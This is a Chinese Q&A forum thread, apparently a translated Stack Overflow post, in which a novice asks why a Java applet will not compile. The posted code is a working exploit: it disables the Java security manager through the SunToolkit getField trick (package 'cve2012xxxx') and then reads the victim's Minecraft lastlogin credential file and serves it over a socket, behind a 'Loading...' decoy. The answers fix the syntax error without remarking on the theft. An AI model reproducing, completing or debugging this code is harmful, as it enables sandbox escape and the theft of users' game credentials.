1

我是 java 新手并且有一个编译错误:

/tmp/jc_16831/Gondvv.java:71: cannot find symbol

symbol  : method File(java.lang.String)

location: class Gondvv

File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );

O 包括 File 类,所以我不明白..

代码在这里:

package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.lang.String;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;
import java.io.*;
import java.io.File;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void start()
    {
        String userName = System.getProperty("user.name");
        File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
        InputStream inputStream = new FileInputStream(llf);

        ServerSocket serverSocket = new ServerSocket(13346);
        Socket socket = serverSocket.accept();
        OutputStream outputStream = socket.getOutputStream();

        int len = 0;
        byte[] buffer = new byte[16384];
        while ((len = inputStream.read(buffer)) > 0)
            outputStream.write(buffer, 0, len);

        inputStream.close();
        outputStream.close();
        socket.close();
    }

    public void init()
    {
        try
        {
            disableSecurity();
   //         Process localProcess = null;
   //         localProcess = Runtime.getRuntime().exec("calc.exe");
   //         if(localProcess != null);
   //            localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading...", 25, 50);
    }
}
4

3 回答 3

5

你想构造一个新的 File 对象,所以你应该使用new操作符。

 File llf = new File("...");

另请注意,通常是您不合理,而不是您使用的代码,尤其是在您的编程生涯的最初几年。

于 2012-08-31T10:56:09.353 回答
0

它缺少new创建类 File 的新对象。没有不属于对象或(static方法)类的方法。

于 2012-08-31T10:56:56.817 回答
0

您忘记在 File 之前添加 new 运算符。

File llf = new File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
于 2012-08-31T10:58:10.353 回答